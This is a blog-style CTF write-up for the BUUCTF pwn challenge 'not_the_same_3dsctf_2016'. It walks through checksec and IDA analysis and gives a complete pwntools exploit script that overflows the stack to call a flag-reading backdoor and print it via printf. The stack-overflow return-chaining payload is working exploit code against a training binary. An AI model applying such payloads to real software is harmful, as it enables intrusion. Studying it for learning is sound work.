首页 > 其他分享 >not_the_same_3dsctf_2016

not_the_same_3dsctf_2016

时间:2022-10-26 15:26:16浏览次数:70  
标签:fl4g 3dsctf elf same pg 2016

【Write-up】BUUCTF not_the_same_3dsctf_2016

原题链接

checksec查看程序架构

$ checksec --file not_the_same_3dsctf_2016
[*] '/home/peterl/security/workspace/not_the_same_3dsctf_2016/not_the_same_3dsctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位程序带堆防护

同时,如果我们使用 ldd命令,就会发现这个程序是一个静态链接程序

ida查看程序伪代码

202209231633042022-09-23-16-33-04

我们发现主函数很简单就能栈溢出,那我们再找找有没有后门函数

结果发现了get_secret函数:

202209231634252022-09-23-16-34-25

我们发现这个后门函数实在有点特殊,主要逻辑是打开目录下的flag.txt文件,然后读入开头的至多45个字符入fl4g变量,我们双击fl4g变量发现其地址为:

202209231640082022-09-23-16-40-09

构建exp

我们使用readelf -s命令查看一下程序的符号表:

$ readelf -s not_the_same_3dsctf_2016 | grep fl4g
  1506: 080eca2d    45 OBJECT  GLOBAL DEFAULT   24 fl4g
$ readelf -s not_the_same_3dsctf_2016 | grep printf
   ...
   901: 0804f0a0    30 FUNC    GLOBAL DEFAULT    5 printf
   ...

那么我们的基本思路就是,先栈溢出调用后门函数,然后调用输出函数printf输出fl4g

payload = b"a"*0x2D + pg(backdoor) + pg(m_elf.sym['printf']) + pg(m_elf.sym['exit']) + pg(m_elf.symbols['fl4g']) 

注意,这里一定要使用exit退出,这里的exit起了一个return语句的作用

完整exp


from pwn import *
from pwn import p64, p32, u32, u64
# from LibcSearcher import LibcSearcher

pss: bool = True
fn: str = "./not_the_same_3dsctf_2016"
libc_name:str = ""
port: str = "28534"
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, "b* 0x8048A00")
    else:
        p = process(fn)

m_elf = ELF(fn)
backdoor = 0x80489a0
p.clean()
# 这里不能直接recvuntil,因为printf不刷新缓冲区,pwntools这种用管道的工具无法接收到任何字符
# p.recvuntil("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ")
payload = b"a"*0x2D + pg(backdoor) + pg(m_elf.sym['printf']) + pg(m_elf.sym['exit']) + pg(m_elf.symbols['fl4g']) 
p.sendline(payload)
p.clean()
p.interactive()

标签:fl4g,3dsctf,elf,same,pg,2016
From: https://www.cnblogs.com/peterliuall/p/16828494.html

相关文章

  • pwn2_sctf_2016
    "【符号位漏洞+ret2libc】【Write-up】BUUCTFpwn2_sctf_2016原题链接"【符号位漏洞+ret2libc】【Write-up】BUUCTFpwn2_sctf_2016checksec查看程序架构ida查看程序......
  • Windows 2016 安装 Jenkins
    https://www.jenkins.io/download/安装thisaccounteitherdoesnothavetheprivilegetologon解决:控制面板\所有控制面板项\管理工具配置输入http:/......
  • Windows 2016 安装 Docker
    打开PowerShellWindowsPowerShell版权所有(C)2016MicrosoftCorporation。保留所有权利。PSC:\Users\Administrator>[Net.ServicePointManager]::SecurityProt......
  • [EZOI 2016]源氏的数学课
    题目链接:​​传送门​​求带单点修改把式子拆开求维护一个区间和和一个区间就好了/***@Date:2019-07-11T15:55:17+08:00*@Email:2743292121@qqssssssssssssssss......
  • COGS 2632. [HZOI 2016] 数列操作d
    题目链接:​​传送门​​区间加等差数列网上没怎么见有解释的把等差数列看成一个三角形mid从中间切开后左儿子加的还是一个三角形右儿子加的是一个梯形其实也不能说是......
  • Luogu P3182 [HAOI2016]放棋子
    题目链接:​​传送门​​题目说了每行有一个障碍两个障碍不在同一行也不在同一列那障碍放哪里就没关系了矩阵都不用输入或者这样理解:交换矩阵的某两行对答案是没有影响......
  • LOJ #2012. 「SCOI2016」背单词
    题目链接:​​传送门​​显然第一个情况和第二个情况不如第三个更优并且他们可以避免,所以尽量构造第三种情况将每个字符倒着插入trie树,因为先放后面的字符串是更优的然后......
  • 安装邮件服务Exchange2016
    拓扑图:推荐步骤:Ø 升级活动目录名字是benet.com,将电子邮件服务器加入到域使用域管理员登录Ø 安装Exchange依赖程序,安装Exchange2016Ø 在活动目录创建组织单元名字......
  • 解决新版chrome浏览器SameSite属性cookie拦截问题
    问题现象:由于升级了新版chrome浏览器后,发现系统正常iframe嵌套、AJAX,Image从以前的跨站会发送三方Cookie,变成了不发送。导致某些内容无法显示了,页面空白,但是请求未报错。......
  • Cannot create graph: graph with the same name "PORT_LISTEN_STATUS" already exist
    解决办法,后面加上{#TCP_PORT}:......